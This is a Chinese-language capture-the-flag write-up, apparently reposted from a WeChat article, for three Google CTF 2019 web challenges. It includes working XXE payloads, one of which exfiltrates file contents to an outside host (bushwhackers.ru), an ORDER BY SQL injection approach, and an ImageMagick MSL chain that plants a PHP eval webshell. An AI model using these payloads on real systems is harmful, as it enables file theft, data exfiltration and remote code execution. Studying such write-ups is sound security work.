Google Capture The Flag 2019 (Quals) WP
2019-09-07 10:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:47 收藏

0x00 前言

一篇更新的推文

0x01 BNV

题目描述:

There is not much to see in this enterprise-ready™ web application.

题目地址:

https://bnv.web.ctfcompetition.com
题目解答:

burp抓包发现传输json数据

POST /api/search HTTP/1.1Host: bnv.web.ctfcompetition.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: https://bnv.web.ctfcompetition.com/Content-type: application/jsonContent-Length: 38Connection: close
{"message":"135601360123502401401250"}

联想到json转换为xxe进行文件读取,首先为了验证猜想直接修改HTTP头Content-type的值为application/xml,重放数据包之后发现报不解析错误,确认了猜想。

手动把json转换为xxe格式,发现报错说缺少DTD

想到之前看到的一个点,《使用本地DTD文件来利用XXE漏洞实现任意结果输出》,所以构造如下paylaod对flag进行读取。

POST /api/search HTTP/1.1Host: bnv.web.ctfcompetition.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: https://bnv.web.ctfcompetition.com/Content-type: application/xmlContent-Length: 374Connection: close
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamsa ' <!ENTITY &#x25; file SYSTEM "file:///flag"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error;'> %local_dtd;]>

最后分享一个XXE cheat sheet <—有点老了,感觉可以把我的也整理一下发一发?随后有时间再整理吧。

0x02 gLotto

题目描述:

Are you lucky?

题目链接:

https://glotto.web.ctfcompetition.com/

题目解答:

点击页面右下角可以看到页面的源码,具体的链接是

https://glotto.web.ctfcompetition.com/?src

从源码中分析我们可以得到以下几点:

  1. orderx参数拼接可造注入

  2. orderx对应四个表,轮换查询

  3. 每次生成的session会存入数据库中

  4. 提交的code跟session相同就可以得到flag,而且判断完就销毁session

那么解决问题的关键就是利用注入来获取到之前设置的session值,而且要通过四次orderx参数的注入(order by注入)来完成。

接下来采用数学的方法来解决这个问题

https://cfreal.github.io/google-ctf-2019-glotto-writeup.html

Exp:https://github.com/cfreal/exploits/tree/master/gctf-2019-glotto

题目的关键部分代码:

<?php
require_once('config.php'); require_once('watchdog.php');
function gen_winner($count, $charset='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'){ $len = strlen($charset); $rand = openssl_random_pseudo_bytes($count); $secret = '';
for ($i = 0; $i < $count; $i++) { $secret .= $charset[ord($rand[$i]) % $len]; } return $secret; }
if (isset($_GET['src'])) { die(highlight_string(file_get_contents(__FILE__))); } else if (isset($_POST['code'])) { session_start(); if (!isset($_SESSION['winner'])) die; $win = $_SESSION['winner']; unset($_SESSION['winner']); session_destroy();

if ($_POST['code'] === $win) { die("You won! $flag"); } else { sleep(5); die("You didn't win :(<br>The winning ticket was $win"); } }

session_start();
$tables = array( 'march', 'april', 'may', 'june', );
$winner = gen_winner(12); $_SESSION['winner'] = $winner;
$db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket); //$db = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($db->connect_errno) { printf("Connect failed: %s\n", $db->connect_error); exit(); }
$db->query("SET @lotto = '$winner'");

for ($i = 0; $i < count($tables); $i++) { $order = isset($_GET["order{$i}"]) ? $_GET["order{$i}"] : ''; if (stripos($order, 'benchmark') !== false) die; ${"result$i"} = $db->query("SELECT * FROM {$tables[$i]} " . ($order != '' ? "ORDER BY `".$db->escape_string($order)."`" : "")); if (!${"result$i"}) die; }?>


0x03 gphotos

题目描述:

Upload your photoz. FYI: /info.php

题目链接:

http://gphotos.ctfcompetition.com:1337/

题目解析:

首先右键源码看源码就额可以看到这个上传功能对应的后端PHP代码

http://gphotos.ctfcompetition.com:1337/?action=src

通过阅读代码可以发现以下几点:

  1. mime_content_type来检测文件的MIME类型并且限制了只能是image/gif, image/png, image/jpeg, image/svg+xml 这四种类型。

  2. 之后使用get_size函数,这个函数对image/png, image/jpeg,会检测大小,如果是其它类型就当做xml文件来处理。

  3. 在之后就是利用thumbnail函数来得到缩略图,这其中就使用了ImageMagick的 convert命令。

  4. 上传文件会被移动到upload目录下,并且后缀是根据对应的MIME类型进行拼接的,文件名是md5之后的hash值,而且图片是经过转换之后的缩略图,所以在图片里面藏shell代码基本不可能的了。

但是目标可以处理svg图,那么就明显是要使用XXE漏洞来达到攻击的目的了。 XXE只是帮助我获取ImageMagick的配置文件,这里有一个小trick,就是在带外传输数据的时候如何传输过长的数据。

上传如下svg图

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [     <!ELEMENT svg ANY >   <!ENTITY % remote SYSTEM "http://bushwhackers.ru:8003/ev.xml" >%remote;%template;   ]><svg>&res;</svg>

ev.xml文件的内容如下

<!ENTITY % secret SYSTEM "THING_TO_STEAL" ><!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">


但是此时的ev.xml对于直接传输一个文件而言还是不好用,所以借助php的伪协议来助攻一下。总之就是压缩之后进行base64

<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=php://filter/zlib.deflate/resource=file:///etc/ImageMagick-6/policy.xml" ><!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">

之后的paylaod还是借助ImageMagick在处理特殊的msl文件时会执行其中的命令来触发(这个特性好像只在debain上存在),具体的攻击流程如下:

首先使用如下命令生成包含webshell的png,上传之后主页会返回路径和文件名

convert -size 100x100 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom[0] shell.png

返回内容

/var/www/html/upload/<hash>/<image>.png

PS: 注意使用bash不要用zsh

之后上传我们的svg图

<?xml version="1.0" encoding="UTF-8" ?><!-- <svg> --><image>  <read filename="/var/www/html/upload/<hash>/<image>.png" />  <write filename="/var/www/html/upload/shell_huihui.php" />  <svg width="120px" height="120px">    <image href="/var/www/html/upload/<hash>/<image>.png" />  </svg></image>

返回内容

/var/www/html/upload/<hash>/<image2>.svg

最后再上传如下的svg来将上一个svg内容进行执行

<?xml version="1.0" encoding="UTF-8"?><svg width="120px" height="120px">  <image width="120" height="120" href="msl:/var/www/html/upload/<hash>/<image2>.svg" /></svg>

最后执行在webroot目录下的webshell即可

http://gphotos2.ctfcompetition.com:1337/upload/shell_huihui.php?cmd=system('/get_flag')

这里学到的几个点:

  1. XXE带外传输大文件的方法

  2. Debians+不安全的ImageMagick配置将会导致href标签的伪协议读文件或者是配合msl文件执行命令like

<?xml version="1.0" encoding="UTF-8"?><svg width="120px" height="120px">  <image width="120" height="120" href="text:/etc/passwd" /></svg>

网站的关键源码

<?php
require_once('config.php');error_reporting( E_ALL );
session_start();
// totally not copy&pasted from somewhere...function get_size($file, $mime_type) { if ($mime_type == "image/png"||$mime_type == "image/jpeg") { $stats = getimagesize($file); $width = $stats[0]; $height = $stats[1]; } else { $xmlfile = file_get_contents($file); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $svg = simplexml_import_dom($dom); $attrs = $svg->attributes(); $width = (int) $attrs->width; $height = (int) $attrs->height; } return [$width, $height];}
function workdir() { $d = 'upload/'.md5(session_id());
if (!is_dir($d)) mkdir($d); return $d;}
function list_photos() { $d = 'upload/'.md5(session_id());
if (!is_dir($d)) return [];
$result = [];
foreach(glob("{$d}/*.*") as $f) { if (strrpos($f, 'small') === FALSE) $result[basename($f)] = $f; } return $result;}
function upload() { if (!isset($_FILES['photo'])) return;
$p = new PhotoUpload($_FILES['photo']['tmp_name']); $p->thumbnail();}
class PhotoUpload { private $failed = false;
function __construct($path) { $formats = [ "image/gif" => "gif", "image/png" => "png", "image/jpeg" => "jpg", "image/svg+xml" => "svg", // Uncomment when launching gVideoz //"video/mp4" => "mp4", ];
$mime_type = mime_content_type($path);
if (!array_key_exists($mime_type, $formats)) { die; }
$size = get_size($path, $mime_type); if ($size[0] * $size[1] > 65536) { die; }
$this->ext = $formats[$mime_type]; $this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}";
move_uploaded_file($path, workdir()."/{$this->name}"); }
function thumbnail() { exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret); if ($ret) $this->failed = true; }
function __destruct() { if ($this->failed) { shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}")); } }}
if (isset($_GET['action'])) { switch ($_GET['action']) { case 'upload': upload(); header('Location: ?'); die; break; case 'src': show_source(__FILE__); die; default: break; }}
?><html> <head> <title>gPhotoz</title> </head> <body> <div> <form action="?action=upload" method="POST" enctype="multipart/form-data"> <input type="file" name="photo"><input type="submit" value="Upload"> </form> </div> <div> <?php foreach(list_photos() as $name => $path): ?> <div> <a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a> </div> <?php endforeach ?> </div> </body>
<a href="?action=src"></a></html>

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652851890&amp;idx=1&amp;sn=6b5900080db3f0a4bd832dee9407c248&amp;chksm=bd59327f8a2ebb69d388145462b2a3cd5e8098ab17df5b8552fb5d8b1ca68f0ba871b9d93c5a#rd
如有侵权请联系:admin#unsafe.sh